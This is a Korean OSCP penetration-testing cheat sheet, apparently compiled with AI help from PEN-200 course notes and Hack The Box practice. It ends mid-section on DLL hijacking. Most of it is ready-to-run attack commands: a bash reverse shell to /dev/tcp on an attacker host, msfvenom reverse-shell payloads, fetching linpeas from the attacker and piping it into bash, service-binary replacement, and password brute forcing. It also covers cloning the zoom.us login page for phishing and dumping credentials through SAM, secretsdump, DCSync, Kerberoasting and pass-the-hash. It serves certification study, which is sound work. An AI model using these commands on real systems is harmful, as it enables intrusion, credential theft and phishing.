AI로 PEN-200 강의 노트(ch6~23), 개인 메모, HTB 실전 명령어를 한 문서로 통합한 OSCP 레퍼런스입니다.

0. 상황별 체크리스트

사용 방법 — 각 단계에서 막혔을 때 순서대로 따라갈 것 + 패스워드 스프레이도 잊지 말 것!!!


0.0 Linux Standalone 침투 흐름 (시험 핵심)

초기 침투 힌트

발견다음 행동
whatweb/소스에서 도메인명 발견/etc/hosts 등록 → vhost 퍼징
80포트인데 gobuster dir 결과 빈약vhost 의심 → gobuster vhost --append-domain
로그인 폼 발견admin:admin, admin:password, guest:guest 먼저
CMS 버전 확인 (Dolibarr/WordPress 등)searchsploit <CMS> <version> + GitHub CVE 검색
파일 업로드 기능.php 막히면 .pHP .phtml .php5 대소문자/이중확장자 우회
LFI 발견 (?page=, ?file=)../../../../etc/passwd → 로그 파일 인젝션 → RCE
FTP 익명 접근ls -la 숨김파일 포함 전부 확인, get 으로 전부 다운
config/conf 파일DB 패스워드 → SSH/서비스 재사용 시도

초기 쉘 획득 후 (Linux PrivEsc 순서)

1. sudo -l                          → GTFOBins (가장 먼저!)
2. find / -perm -u=s -type f        → GTFOBins → searchsploit → GitHub CVE
3. getcap -r / 2>/dev/null          → cap_setuid 바이너리
4. cat /etc/crontab + ls /etc/cron* → 쓰기 가능 스크립트?
5. find / -writable -type f 2>/dev/null | grep -v proc
6. cat /etc/passwd                  → 쓰기 가능? uid 0 계정 추가
7. cat /etc/exports                 → no_root_squash?
8. id                               → docker/lxd/disk 그룹?
9. linpeas.sh                       → 위 다 안 되면
10. uname -r → 커널 CVE             → 최후 수단

낯선 SUID/바이너리 발견 시

1# 1. GTFOBins 확인 (gtfobins.github.io)
2# 2. 버전 확인
3<binary> --version
4# 3. searchsploit
5searchsploit <binary명>
6# 4. GitHub 검색: "<binary명> CVE" 또는 "<binary명> privilege escalation"
7# 5. HackTricks: book.hacktricks.xyz 에서 바이너리명 검색

자격증명 찾는 곳 (Linux)

 1# 설정 파일
 2find / -name "*.conf" -o -name "*.config" -o -name "*.php" 2>/dev/null | xargs grep -l "password\|passwd" 2>/dev/null
 3find / -name "conf.php" -o -name "config.php" -o -name "wp-config.php" 2>/dev/null
 4
 5# 히스토리
 6cat ~/.bash_history
 7cat ~/.zsh_history
 8
 9# SSH 키
10find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
11
12# DB 접속 후 크레덴셜 덤프
13mysql -u root -p  →  SELECT user,password FROM mysql.user;
14
15# /home 디렉토리 탐색
16ls -la /home/*/
17ls -la /home/*/.ssh/

참고 사이트

사이트용도
gtfobins.github.iosudo/SUID/Capabilities 악용법
exploit-db.comCVE 익스플로잇 검색
book.hacktricks.xyzLinux/Windows PrivEsc 전체
searchsploit <키워드>로컬 익스플로잇 DB
GitHub <바이너리> CVE exploitPoC 코드
lolbas-project.github.ioWindows Living off the Land

0.1 정보 수집 / 정찰

  • Nmap 전체 포트 스캔 nmap -p- --min-rate=7000 -sV -T4 <IP>
  • 발견 포트별 추가 열거
    • 21 FTP → 익명 로그인 (Name: anonymous)
    • 22 SSH → 버전 확인, 크레덴셜 있으면 접속 / 없으면 키 브루트포스
    • 25/110/143 SMTP/POP/IMAP → VRFY·EXPN으로 사용자 열거
    • 53 DNS → zone transfer dnsrecon -t axfr -d <domain>
    • 80/443/8080 HTTP → Gobuster + 소스코드 확인
    • 139/445 SMB → enum4linux -a / smbclient -L -N / nxc smb --shares
    • 161 UDP SNMP → snmpwalk -c public -v1 / onesixtyone
    • 389/636 LDAP → 익명 검색 · description 필드 평문 패스워드 확인
    • 5985 WinRM → 크레덴셜 확보 시 evil-winrm 접속
    • 3389 RDP → 크레덴셜 확보 시 xfreerdp3 접속
  • 웹 발견 시 → Gobuster 디렉토리·파일 탐색 (-x php,txt,html,bak)
  • SMB 익명/인증 → 공유 파일에서 자격증명·민감정보 탐색
  • SNMP 공개 커뮤니티 → MIB 덤프 (프로세스·사용자 목록 포함)
  • LDAP 익명 → ldapsearch description 필드 평문 패스워드 확인

0.2 취약점 스캔

  • 서비스 버전 확인 → searchsploit <service> <version>
  • NSE vuln 스캔 → nmap --script "vuln" -sV -p <ports> <IP>
  • Nessus (허용 시) → https://localhost:8834
  • 웹 CMS 발견 → WPScan / nikto / 버전 기반 exploit-db 검색

0.3 웹 애플리케이션 공격

  • 디렉토리·파일 열거 → gobuster dir -x php,txt,html,bak
  • .git 노출 → curl http://<IP>/.git/HEAD → git-dumper → 커밋 히스토리 자격증명
  • 소스코드·주석·숨겨진 필드 확인 (F12 / Ctrl+U)
  • 로그인 폼
    • 기본 자격증명 (admin:admin, admin:password)
    • SQLi → ' OR 1=1--
    • Hydra HTTP POST 브루트포스
  • 파일 업로드 → 웹쉘 (.php, .phtml, Content-Type 우회, 이중 확장자)
  • LFI/RFI → ?page=../../../../etc/passwd / ?file=http://<KALI>/shell.php
  • User-Agent·헤더 → Burp로 XSS·인젝션 페이로드 시도
  • 발견 버전 → searchsploit / exploit-db

0.4 피싱 / 클라이언트 측 공격

  • 문서 메타데이터 → exiftool -a -u <file> (작성자·OS·소프트웨어)
  • 피싱 페이지 필요 시 → wget -E -k -K -p 클론
  • 파일 업로드·메일 가능 시 → Office 매크로 / HTA / 악성 링크
  • 리버스 셸 페이로드 준비 → msfvenom 또는 수동 컴파일
  • nc 리스너 대기 → nc -lvp <PORT>

0.5 공개 익스플로잇 찾기·수정

  • searchsploit <service> <version>
  • exploit-db / GitHub / Google (site:exploit-db.com) 검색
  • 익스플로잇 로컬 복사 → searchsploit -m <EDB-ID>
  • LHOST·LPORT·쉘코드 반드시 수정 (하드코딩 IP 확인)
  • 컴파일
    • Linux → gcc exploit.c -o exploit
    • Windows 32bit → i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
    • Windows 64bit → x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
  • msfvenom 페이로드 생성 (-f exe, -f elf, -f raw)
  • nc 리스너 대기 → nc -lvp <PORT>

0.6 Windows 권한상승

  • whoami /priv 확인
    • SeImpersonatePrivilege → Potato 계열 (SigmaPotato / GodPotato)
    • SeBackupPrivilege → NTDS.dit 추출 (DC 한정)
    • SeDebugPrivilege → mimikatz / 프로세스 덤프
    • SeMachineAccountPrivilege → RBCD 경로 검토
  • 자동화 도구
    • winPEAS → 서비스·DLL·자격증명 한 번에 스캔
    • PowerUp → Get-ModifiableServiceFile, Get-UnquotedService
    • Seatbelt → 시스템 정보 종합
  • 서비스 취약점
    • Unquoted Service Path → wmic service get name,pathname | findstr /i /v "C:\Windows\\"
    • 서비스 바이너리 쓰기 권한 → icacls <path>
    • 누락 DLL → Procmon NAME NOT FOUND 필터
  • 예약 작업 → schtasks /query /fo LIST /v (높은 권한 실행 + 쓰기 가능 스크립트?)
  • 자격증명 탐색
    • PS 히스토리 → ConsoleHost_history.txt
    • Winlogon AutoLogon → reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
    • findstr /s /i "password" *.txt *.xml *.config
    • tree /f C:\Users 로 전체 파일 트리 확인 후 민감 파일 탐색
  • 레지스트리
    • AlwaysInstallElevated → reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
  • SAM/SYSTEM/SECURITY 덤프 (로컬 관리자 있을 때)
    • reg save HKLM\SAM + SYSTEM + SECURITY (SECURITY 누락 시 LSA Secrets 안 나옴)
    • impacket-secretsdump ./Administrator:'<PASS>'@<IP> (도메인 prefix 없이)
    • 결과에서 DefaultPassword (LSA 평문) + DCC2 ($DCC2$) 확인
    • DCC2 크랙 → hashcat -m 2100
  • 새 자격증명 획득 시 → 즉시 nxc 전 프로토콜 스프레이 (로컬 계정이면 --local-auth)

0.7 Linux 권한상승

  • sudo -l → GTFOBins 검색 즉시 시도
    • NOPASSWD 항목 우선 시도
    • env_keep+=PATH → PATH 하이재킹
  • SUID/SGID → find / -perm -u=s -type f 2>/dev/null → GTFOBins
  • Capabilities → /usr/sbin/getcap -r / 2>/dev/null
    • cap_setuid → perl/python/gdb로 setuid(0)
  • Cron 작업 → ls /etc/cron* + grep CRON /var/log/syslog
    • 실행 스크립트 쓰기 가능? → 리버스 셸 삽입
  • /etc/passwd 쓰기 가능? → 루트 계정 추가
  • 쓰기 가능 디렉토리 → find / -writable -type d 2>/dev/null
  • 자동화 도구
    • curl http://<KALI>/linpeas.sh | bash
    • unix-privesc-check standard | grep warning
  • 커널 익스플로잇 (마지막 수단) → uname -r → searchsploit "linux kernel <버전>"

0.8 Port Redirection / 터널링

  • 내부망 확인 → ip route / arp -a / netstat -ano
  • 터널링 방식 선택
상황방법
단순 포트 하나만 포워딩socat / netsh portproxy
Kali→내부 단일 서비스 접근SSH -L (로컬 포워딩)
내부망 전체 스캔·접근SSH -D (SOCKS5) + proxychains
피해자가 아웃바운드만 가능SSH -R (리모트 포워딩)
VPN처럼 투명하게 라우팅sshuttle
HTTP/방화벽 우회 필요chisel reverse SOCKS
DNS만 아웃바운드dnscat2
  • proxychains 사용 시 nmap은 반드시 -sT (TCP connect scan) 사용
  • 피봇 후 내부망 대상 재스캔 (nmap 또는 for loop nc 스캔)

0.9 Metasploit

  • DB 초기화 + 워크스페이스 → msfdb init, workspace -a <name>
  • db_nmap 으로 스캔 → hosts / services 로 결과 조회
  • 모듈 검색 → search type:exploit <keyword> → use → show options
  • Meterpreter 획득 후
    • migrate <PID> → 안정적 프로세스 이주 (explorer.exe 등)
    • getsystem → 권한상승 시도
    • load kiwi → creds_all 자격증명 덤프
    • use multi/manage/autoroute + use auxiliary/server/socks_proxy → 피봇
  • UAC 우회 → bypassuac_sdclt
  • Resource 스크립트 활용으로 핸들러 자동화

0.10 Active Directory 열거

  • BloodHound 수집 (최우선)
    • python3 bloodhound.py -c all -u <USER> -p <PASS> -ns <DC_IP> -d <DOMAIN>
    • 소유 계정 Mark as Owned → Shortest Paths to Domain Admins (from Owned)
    • 각 노드 우클릭 → Outbound Object Control 확인
  • ACL 기반 공격 (BloodHound 엣지)
    • GenericAll → 패스워드 변경 (net rpc password)
    • GenericWrite → 임시 SPN → Kerberoasting
    • ForceChangePassword → 패스워드 강제 변경
    • GetChanges + GetChangesAll → DCSync
  • PowerView 수동 열거 → Find-LocalAdminAccess / Get-NetUser -SPN / Get-ObjectAcl
  • ldapdomaindump → 도메인 전체 구조 빠르게 파악 (domain_users.grep | grep -i admin)
  • nltest /dclist:<DOMAIN> → DC 목록 확인
  • GPO 권한 → Get-GPPermission -All → GpoEditDeleteModifySecurity 있으면 SharpGPOAbuse
  • SYSVOL / GPP cpassword → gpp-decrypt
  • 공유 파일 탐색 → nxc smb --shares → smbclient → 파일 내 패스워드
  • MSSQL 서비스 발견 시 → Kerberoasting으로 서비스 계정 해시 → impacket-mssqlclient -windows-auth → xp_cmdshell
  • 새 자격증명 획득 시 → 전 프로토콜 즉시 스프레이 (로컬 계정이면 --local-auth)

0.11 AD 인증 공격

상황방법
크레덴셜 없음LDAP 익명·SMB 익명 열거 → AS-REP Roasting
크레덴셜 없음 (Lockout 관대)패스워드 스프레이 (net accounts 먼저 확인)
실명 발견 (웹/LDAP)username 변형 생성 → AS-REP Roasting
평문 크레덴셜 있음BloodHound → ACL 체인 → Kerberoasting
NTLM 해시 있음Pass-the-Hash (psexec/wmiexec/evil-winrm)
NTLM 해시 (Kerberos 환경)Overpass-the-Hash → TGT 발급
서비스 계정 NTLM 해시 있음Silver Ticket → 해당 서비스 직접 위조
GetChanges + GetChangesAllDCSync → krbtgt 해시 → Golden Ticket
DCC2 해시 확보 (secretsdump)hashcat -m 2100 오프라인 크랙
DA 해시 획득PTH → 전 머신 접근, 도메인 장악 완료
  • Kerberos 시간 동기화 먼저 → sudo ntpdate <DC_IP>
  • Kerberoasting → SPN 계정 TGS 해시 → hashcat -m 13100
  • AS-REP Roasting → 사전 인증 비활성 → hashcat -m 18200
  • Silver Ticket → 서비스 계정 해시 → kerberos::golden /service:cifs
  • DCSync → impacket-secretsdump -just-dc-user administrator
  • PTH → evil-winrm -H <HASH> / impacket-psexec -hashes :<HASH>
  • 크랙 실패 시 → PTH 직접 시도 (해시 자체로 인증 가능)

1. 정보 수집 / 정찰

WHOIS

1whois [domain] -h [whois_server]

► 도메인 등록자, 네임서버, 갱신일 조회. -h로 특정 WHOIS 서버 지정.


DNS 열거

 1# 레코드 타입별 조회 (NS, MX, TXT, PTR)
 2host [domain] -t NS
 3nslookup -type=TXT info.megacorptwo.com 192.168.50.151
 4
 5# 표준 열거 (모든 레코드 + 존 트랜스퍼 시도)
 6dnsrecon -d [domain] -t std
 7
 8# DNS 서버 열거 (서브도메인 + 브루트포스 포함)
 9dnsenum [domain]
10
11# 서브도메인 브루트포스
12gobuster dns -d megacorpone.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 10

► dnsrecon -t std : zone transfer(AXFR), 역방향 조회 등 종합 수행. ► gobuster dns : 워드리스트 기반 서브도메인 브루트포스. -t는 스레드 수.


Nmap 포트 스캔

 1# 빠른 전체 포트 스캔 (HTB/CTF 기본)
 2nmap -p- --min-rate=7000 -T4 <IP> -sV
 3
 4# SYN 스캔 + greppable 출력
 5nmap -sS -p 25 192.168.190.1-255 -oG save.txt
 6grep Up save.txt | cut -d " " -f 2
 7
 8# 서비스·OS 탐지 + 스크립트 + 전체 저장
 9nmap -p- <IP> -sV -O -T4 --min-rate 5000 -oA scan_result
10
11# HTTP 타이틀 일괄 스캔
12nmap --script http-title 192.168.190.0/24 -p 80 --open
13
14# vuln 카테고리 NSE 스캔
15sudo nmap -sV -p 443 --script "vuln" <IP>
16
17# SMB OS 탐지
18nmap -v -p 139,445 --script smb-os-discovery <IP>

► -p- : 전체 65535 포트. -p-만 쓰면 느리니 --min-rate=7000으로 속도 보정. ► -T4 : 타이밍 프로파일 4단계(공격적). 실제 시험에서는 -T3이 안정적. ► -sV : 서비스 버전 탐지 → 익스플로잇 검색에 필수. ► -O : OS 탐지 (root 권한 필요). ► -oA : XML·greppable·일반 세 가지 형식 동시 저장. ► --min-rate 5000 : 초당 최소 5000패킷 발송으로 속도 향상. ► --open : 열린 포트만 표시.


Netcat 포트 스캔

1# TCP 범위 스캔
2nc -v -w 1 <IP> 1-100
3
4# UDP 포트 스캔 (-u)
5nc -nv -z -u -w 1 <IP> 100-200

► -z : 데이터 전송 없이 연결만 테스트. ► -w 1 : 1초 타임아웃. ► -nv : DNS 해석 안 하고, verbose 출력.


PowerShell 포트 스캔 (Windows)

1# 단일 포트 확인
2Test-NetConnection -Port 445 <IP>
3
4# 1~1024 자동 스캔
51..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("<IP>", $_)) "TCP port $_ is open"} 2>$null

► Windows에서 nmap 없을 때 사용. 속도 느리므로 범위 좁혀서 사용.


SMB 열거

 1# 네트워크 대역 NBT 스캔
 2sudo nbtscan -r 192.168.50.0/24
 3
 4# 익명 공유 목록 열거
 5smbclient -L //<IP> -N
 6# ► -L : 공유 목록 표시. -N : 패스워드 없이(anonymous).
 7
 8# 인증된 공유 접속
 9smbclient //<IP>/<SHARE> -U '<DOMAIN>/<USER>%<PASS>'
10
11# 공유 권한 + 파일 열거 (nxc)
12nxc smb <IP> -u <USER> -p <PASS> -d <DOMAIN> --shares
13
14# enum4linux 일괄 열거
15enum4linux -a <IP>

SNMP 열거

 1# UDP 161 스캔
 2nmap -sU --open -p 161 192.168.50.1-254 -oG snmp.txt
 3
 4# 커뮤니티 스트링 브루트포스
 5echo -e "public\nprivate\nmanager" > community
 6for ip in $(seq 1 254); do echo 192.168.190.$ip; done > ips
 7onesixtyone -c community -i ips
 8
 9# MIB 트리 전체 덤프
10snmpwalk -c public -v1 -t 10 <IP>
11
12# 실행 프로세스만 조회 (OID 1.3.6.1.2.1.25.4.2.1.2)
13snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2
14
15# ASCII 변환 출력
16snmpwalk -c public -v1 -t 10 <IP> -Oa

► v1 / v2c / v3 중 v1·v2c는 커뮤니티 스트링만으로 접근 가능. ► OID: .25.4.2.1.2 프로세스, .25.6.3.1.2 소프트웨어, .25.1.6.3 사용자 계정.


LDAP 열거

 1# 익명 LDAP 조회 (사용자 목록)
 2nxc ldap <IP> -u '' -p '' --users
 3
 4# 인증 후 LDAP 검색 (description에 패스워드 있는 경우 탐지)
 5printf '%s' '<PASS>' > pass.txt
 6ldapsearch -x -H ldap://<IP> \
 7  -D '<USER>@<DOMAIN>' \
 8  -y pass.txt \
 9  -b 'DC=<domain>,DC=<tld>' \
10  '(objectClass=user)' sAMAccountName description
11
12# UPN 형식으로 인증 (@ 형식이 잘 먹힐 때)
13nxc ldap <IP> -u '<user>@<domain>' -p '<pass>' --users

► -x : 단순 인증(SASL 아님). -H : LDAP URI. -D : 바인드 DN. -y : 패스워드 파일(특수문자 쉘 이스케이프 방지). ► -b : 검색 베이스. (objectClass=user) 필터로 사용자만 추출. ► HTB Cicada 패턴: description 필드에 평문 패스워드 적힌 계정 발견.


SID / Username 열거

 1# RID 사이클링으로 사용자 열거 (anonymous 가능)
 2impacket-lookupsid '<DOMAIN>/guest'@<IP> -no-pass
 3
 4# 결과 예시
 5# 1104: CICADA\john.smoulder (SidTypeUser)
 6# 1105: CICADA\sarah.dantelia (SidTypeUser)
 7
 8# samrdump - 크레덴셜 있을 때 도메인 사용자 열거
 9impacket-samrdump <DOMAIN>/<USER>@<DC_IP> -hashes :<NTLM_HASH>
10proxychains impacket-samrdump <DOMAIN>/<USER>@<DC_IP> -hashes :<NTLM_HASH>
11# 결과: Administrator 500 / Guest 501 / krbtgt 502 / <user> 1105 ...

► guest 계정 또는 익명으로 SID 열거 가능한 경우 유효. 도메인 사용자 목록 추출에 사용. ► impacket-samrdump : NTLM 해시만 있어도 도메인 사용자 전체 목록 조회 가능.


2. 취약점 스캔

Nessus 설치/실행

1sudo apt install ./Nessus-10.11.0-ubuntu1604_amd64.deb
2sudo systemctl start nessusd.service
3# 브라우저: https://localhost:8834

Nmap NSE 취약점 스캔

 1# vuln 카테고리 스크립트 목록
 2cat /usr/share/nmap/scripts/script.db | grep "\"vuln\""
 3
 4# vuln 카테고리 전체 스캔
 5sudo nmap -sV -p 443 --script "vuln" <IP>
 6
 7# 커스텀 NSE 추가
 8sudo cp http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/
 9sudo nmap --script-updatedb
10sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" <IP>

► NSE vuln 카테고리: 알려진 CVE 자동 체크. 스캔 오래 걸림. ► 커스텀 NSE 추가 후 반드시 --script-updatedb 실행.


3. 웹 애플리케이션 공격

Gobuster 디렉토리/파일 브루트포스

 1# 기본 디렉토리 열거
 2gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -t 5
 3
 4# 큰 워드리스트
 5gobuster dir -u http://<IP> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 20
 6
 7# 특정 확장자만 (PDF, PHP 등)
 8gobuster dir -u http://<IP> -x pdf,php,txt -w /usr/share/wordlists/dirb/common.txt
 9
10# 패턴 필터 사용
11gobuster dir -u http://<IP>:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern

► -t : 스레드 수 (기본 10). 올리면 빠르지만 WAF에 막힐 수 있음. ► -x : 확장자 추가 검색. PHP·aspx·txt 조합으로. ► -u 에 http:// 필수.


로그인 폼 패스워드 공격 (curl 루프)

1for p in $(cat pass.txt); do
2    curl -s -d "username=admin&password=$p" http://<IP>/login.php | grep -q "flag" && {
3        echo "[+] FOUND PASSWORD: $p"
4        break
5    }
6done

► -s : silent 모드. -d : POST 데이터. grep -q : 성공 키워드 확인.


Hydra 브루트포스

1# SSH 브루트포스 (커스텀 포트)
2hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<IP>
3
4# HTTP POST 폼 브루트포스
5hydra -l admin -P rockyou.txt <IP> http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
6
7# FTP 브루트포스
8hydra -l <USER> -P rockyou.txt ftp://<IP>

► -l : 단일 사용자. -L : 사용자 목록 파일. ► -p : 단일 패스워드. -P : 패스워드 목록 파일. ► -s : 비표준 포트 지정. ► -t : 스레드 수 (기본 16). SSH는 4 이하 권장.


리버스 셸

1# Bash 리버스 셸 (URL 인코딩 필요 시)
2bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"
3
4# nc 리스너
5nc -lvp 4444

Curl 프록시 활용

1# Burp로 요청 전달
2curl -i http://target --proxy 127.0.0.1:8080
3
4# User-Agent에 XSS 페이로드
5curl -i http://target --user-agent "<script>...</script>" --proxy 127.0.0.1:8080

4. 피싱 / 클라이언트 측 공격

Wget 로그인 페이지 클론

1wget -E -k -K -p -e robots=off -H -Dzoom.us -nd "https://zoom.us/signin#/login"

► -E : HTML 변환. -k : 로컬 링크로 변환. -p : 페이지에 필요한 모든 파일 다운로드. ► -nd : 서브디렉토리 안 만들고 플랫하게 저장. 피싱 페이지 만들 때 유용.


Exiftool 메타데이터 추출

1# 모든 메타데이터 (확장 태그 포함)
2exiftool -a -u old.pdf
3
4# 기본 메타데이터
5exiftool -a info.pdf

► -a : 중복 태그 허용. -u : 알 수 없는 태그도 표시. ► PDF 작성자·소프트웨어 정보로 환경 파악, 내부 사용자명 유출 확인.


5. 공개 익스플로잇 찾기·수정

SearchSploit

 1# 키워드 검색
 2searchsploit <keyword>
 3searchsploit remote smb microsoft windows
 4searchsploit Linux Kernel 2.6.22 privilege escalation
 5
 6# 터미널 브라우저 검색
 7firefox --search "Microsoft Edge site:exploit-db.com"
 8
 9# 익스플로잇 로컬 복사 (-m)
10searchsploit -m [EDB-ID]
11searchsploit -m 42341

► 기본적으로 /usr/share/exploitdb/에서 로컬 검색 → 인터넷 불필요. ► -m : 현재 디렉토리로 복사. 수정 후 사용.


Buffer Overflow 컴파일 (MinGW)

 1sudo apt install mingw-w64
 2
 3# 32비트 Windows EXE
 4i686-w64-mingw32-gcc 42341.c -o exploit.exe -lws2_32
 5
 6# 64비트 Windows EXE
 7x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
 8x86_64-w64-mingw32-gcc shell.c -o shell.exe -lws2_32
 9
10# 공유 DLL
11x86_64-w64-mingw32-gcc TextShaping.cpp -o TextShaping.dll -shared -lws2_32 -s

► -lws2_32 : Windows 소켓 라이브러리 링크 (네트워크 기능 포함 시 필수). ► -s : 심볼 제거 → 파일 크기 감소, 분석 방해.


msfvenom 페이로드 생성

 1# Windows x64 EXE (non-staged, AV에 걸릴 수 있음)
 2msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > reverse.exe
 3
 4# Windows x64 EXE (msfconsole handler 필요)
 5msfvenom -p windows/x64/meterpreter_reverse_https LHOST=<IP> LPORT=443 -f exe -o met.exe
 6
 7# Windows x86 (bad char 제외 + shikata_ga_nai 인코딩)
 8msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 EXITFUNC=thread \
 9  -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
10
11# Linux ELF
12msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f elf -o shell.elf
13
14# PHP
15msfvenom -p php/reverse_php LHOST=<IP> LPORT=443 -f raw -o shell.pHP

► staged(shell/reverse_tcp) vs non-staged(shell_reverse_tcp) 구분 중요. ► staged는 handler 필수, non-staged는 nc 리스너로 수신 가능. ► -b : bad character 제외 (BoF에서 \x00 null byte 등). ► EXITFUNC=thread : 크래시 방지용 종료 방식.


6. Windows 권한상승

6.1 초기 열거

 1# 현재 사용자 / 권한
 2whoami
 3whoami /priv        # SeBackupPrivilege, SeImpersonatePrivilege 등 확인
 4whoami /user        # SID 확인
 5whoami /fqdn        # 도메인 DN 확인 (AD 환경)
 6
 7# 로컬 사용자/그룹
 8Get-LocalUser
 9Get-LocalGroup
10Get-LocalGroupMember Administrators
11Get-LocalGroupMember 'Remote Management Users'
12
13# 시스템 정보
14systeminfo
15route print
16netstat -ano
17
18# 설치된 패치 (커널 익스플로잇 검색용)
19Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
20
21# 설치 프로그램 (32/64bit 레지스트리 모두 확인)
22Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
23Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
24
25# 프로세스 + 경로
26Get-Process | Select-Object Name, Path | Where-Object {$_.Path -ne $null}

► whoami /priv에서 SeBackupPrivilege, SeImpersonatePrivilege, SeDebugPrivilege, SeMachineAccountPrivilege 보이면 고권한 탈취 가능. ► SeBackupPrivilege : 파일 ACL 무시하고 읽기 가능 → NTDS.dit 복사 가능 (DC에서 critical). ► SeMachineAccountPrivilege : 도메인에 컴퓨터 계정 추가 가능 → RBCD 공격 전제조건 .


6.2 자동화 도구 (winPEAS / Seatbelt / PowerUp)

 1# winPEAS 다운로드 + 실행
 2iwr -uri http://<LHOST>/winPEASx64.exe -Outfile winPEAS.exe
 3.\winPEASx64.exe | Out-File output.txt
 4Get-Content output.txt | Select-String "DPAPI" -Context 20
 5Select-String -Path output.txt -Pattern "DLL|Missing" -Context 5
 6
 7# Seatbelt (시스템 정보 종합 수집)
 8iwr -uri http://<LHOST>/Seatbelt.exe -Outfile Seatbelt.exe
 9.\Seatbelt.exe -group=all | Out-File output.txt
10
11# PowerUp (서비스 취약점 자동 탐색)
12iwr http://<LHOST>/PowerUp.ps1 -Outfile PowerUp.ps1
13powershell -ep bypass
14. .\PowerUp.ps1
15Get-ModifiableServiceFile     # 수정 가능한 서비스 바이너리
16Get-UnquotedService           # Unquoted Service Path
17Install-ServiceBinary -Name 'mysql'   # 자동 페이로드 배포

6.3 파일·자격증명 탐색

 1# 민감 파일 검색
 2Get-ChildItem -Path C:\users -Include *.txt,*.ini,*.config,*.xml -File -Recurse -ErrorAction SilentlyContinue
 3Get-ChildItem -Path C:\users -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String "password" -List | Select-Object Path
 4
 5# PowerShell 히스토리 (평문 패스워드 자주 발견됨)
 6Get-History
 7(Get-PSReadlineOption).HistorySavePath
 8cat C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
 9
10# 디렉토리 ACL 확인
11icacls "C:\Program Files\Enterprise Apps"
12icacls "C:\BackupMonitor\BackupMonitor.exe"

► PS 히스토리에 패스워드 평문 입력 기록 남는 경우 많음 (자격증명 재사용 패턴).

1# 전체 디렉토리 트리 + 파일 목록 출력 (숨김파일 포함)
2# Windows는 /f 슬래시 사용 (Linux의 -f 와 다름)
3tree /f C:\Users
4tree /f C:\             # 드라이브 전체 (느림)
5
6# 숨김 파일·폴더 탐색
7dir /s /a:h C:\Users    # 숨김 속성만
8dir /s /a C:\Users      # 모든 속성 포함(숨김 파일 포함)
1# findstr - 파일 내용 키워드 검색 (Linux grep 대응)
2findstr /s /i "password" *.txt *.xml *.ini *.config
3findstr /s /i /m "password" *.*                          # 매칭 파일명만 출력
4findstr /s /i "password" C:\Users\*.txt C:\Users\*.xml   # 경로 지정
5findstr /s /i "password\|username\|secret\|credential" C:\*.txt
1# PowerShell Select-String - 다중 확장자 + 정규식 패턴 검색
2Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.xml,*.config,*.ini,*.log -ErrorAction SilentlyContinue |
3    Select-String -Pattern "password|passwd|username|credential|secret" |
4    Select-Object Path,LineNumber,Line
5
6# Winlogon AutoLogon 자격증명 확인 (평문 패스워드 저장 취약)
7reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
8# DefaultUserName / DefaultPassword / DefaultDomainName 필드 확인

► tree /f : Windows에서 숨김 파일 포함 전체 파일 트리 출력. 반드시 /f 슬래시 사용. ► findstr /s /i : 하위 디렉토리 재귀(/s), 대소문자 무시(/i). /m 은 매칭 파일명만 출력. ► Winlogon AutoLogon: 자동 로그인 설정 머신에서 평문 패스워드 발견 빈도 높음 (HTB Sauna 패턴).


6.4 사용자 전환 / 원격 세션

1# 사용자 정보 확인
2net user <username>
3
4# 다른 사용자로 CMD 실행
5runas /user:<USER> cmd
6
7# Evil-WinRM 접속
8evil-winrm -i <IP> -u <USER> -p '<PASS>'
9evil-winrm -i <IP> -u <USER> -H <NTLM_HASH>   # PTH
1# PSSession (자격증명 객체)
2$password = ConvertTo-SecureString "<PASS>" -AsPlainText -Force
3$cred = New-Object System.Management.Automation.PSCredential("<USER>", $password)
4Enter-PSSession -ComputerName <TARGET> -Credential $cred

6.5 서비스 바이너리 하이재킹

 1# 실행 중 서비스 + 경로 확인
 2Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
 3Get-WmiObject Win32_Service | Where-Object {$_.Name -eq 'BackupMonitor'} | Select Name, StartName, PathName
 4
 5# 서비스 중지 → 바이너리 교체 → 재시작
 6Stop-Service BackupMonitor
 7Remove-Item C:\BackupMonitor\BackupMonitor.exe -Force
 8# (악성 EXE 업로드)
 9iwr http://<LHOST>/shell.exe -Outfile C:\BackupMonitor\BackupMonitor.exe
10Start-Service BackupMonitor
11# 또는 재부팅
12shutdown /r /t 0

6.6 DLL 하이재킹

1# 쓰기 권한 테스트
2echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
3
4# Procmon으로 누락 DLL 탐색 (PATH 순서 확인)
5C:\tools\Procmon\Procmon64.exe
1# 공유 DLL 컴파일 (리버스 쉘 포함)
